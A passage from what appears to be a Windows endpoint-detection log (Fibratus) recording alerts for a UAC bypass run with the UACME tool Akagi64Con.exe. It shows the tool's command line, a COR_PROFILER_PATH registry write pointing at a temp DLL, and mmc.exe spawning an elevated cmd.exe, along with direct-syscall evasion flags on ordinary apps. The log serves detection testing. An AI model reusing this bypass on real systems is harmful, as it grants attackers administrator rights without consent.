Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:9885a1e8-f49f-46fa-a45d-9d5c3a2701bb WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 1889669 + Pid: 11240 + Tid: 3404 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-02 15:49:58.7128228 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 4f082000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808fc3bd1080, name➜ cmd.exe, pid➜ 17720, ppid➜ 11240, real_ppid➜ 11240, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-02 15:49:58.7127595 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 16362572166505455993, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 11240 + Ppid: 9092 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-02T15:50:15+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 1892606 + Pid: 14248 + Tid: 12840 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-02 15:50:13.5137313 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffff9508d7db52f0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 16362572166505455993, rule.name: UAC bypass via .NET Code Profiler DLL Hijack + + Pid: 14248 + Ppid: 15544 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:9885a1e8-f49f-46fa-a45d-9d5c3a2701bb WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 1894695 + Pid: 17880 + Tid: 16688 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-02 15:50:14.2190967 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 1616a000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808fc51d8080, name➜ cmd.exe, pid➜ 8456, ppid➜ 17880, real_ppid➜ 17880, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-02 15:50:14.2190299 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 16362572166505455993, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004 + + Pid: 17880 + Ppid: 14248 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-02T16:05:52+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 3165047 + Pid: 13076 + Tid: 17108 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 16:05:17.8305627 +0100 CET + Params: base_address➜ 7fff715d0000, checksum➜ 879719, default_address➜ 7fff715d0000, file_path➜ C:\Windows\System32\Windows.StateRepositoryPS.dll, image_size➜ 802816, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 13076, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 13076 + Ppid: 1712 + Name: Spotify.exe + Parent name: explorer.exe + Cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe + Cwd: C:\Users\nedo\AppData\Roaming\Spotify\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_13076_DFNAVSAURBWVAVHO COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1712_1262719628:1 EFC_1712_1592913036:1 EFC_1712_2283032206:1 EFC_1712_2775293581:1 EFC_1712_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff56145014 C:\Users\nedo\AppData\Roaming\Spotify\chrome_elf.dll!DumpHungProcessWithPtype_ExportThunk|0x7fff55ffbd7a C:\Users\nedo\AppData\Roaming\Spotify\chrome_elf.dll!GetHandleVerifier|0x7fff55ffc203 C:\Users\nedo\AppData\Roaming\Spotify\chrome_elf.dll!GetHandleVerifier|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff9550701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95574294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff93c27a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93c2759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93dab8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7fff93dacc5c C:\Windows\System32\combase.dll!Ordinal225|0x7fff93dacd65 C:\Windows\System32\combase.dll!Ordinal225|0x7fff93da8fb6 C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7fff93d44304 C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7fff93c1b83b C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93c1b77c C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93c1a662 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93c1a279 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93ceff04 C:\Windows\System32\combase.dll!RoRegisterActivationFactories|0x7fff93d8717e C:\Windows\System32\combase.dll!Ordinal130|0x7fff93c477fb C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7fff93c462ed C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7fff93c98013 C:\Windows\System32\combase.dll!CoGetStandardMarshal|0x7fff93c5eef0 C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93bf74bd C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7fff93bf6e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7fff8cf37af4 C:\Windows\System32\propsys.dll!PropVariantToUInt32WithDefault|0x7fff8cf37641 C:\Windows\System32\propsys.dll!PropVariantToUInt32WithDefault|0x7fff8cf375c6 C:\Windows\System32\propsys.dll!PropVariantToUInt32WithDefault|0x7fff942eab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff942ea8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff942e9c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T16:25:11+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 6141867 + Pid: 2880 + Tid: 9756 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 16:25:07.6504042 +0100 CET + Params: base_address➜ 7fff70a80000, checksum➜ 678716, default_address➜ 7fff70a80000, file_path➜ C:\Windows\System32\Windows.Web.dll, image_size➜ 638976, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program 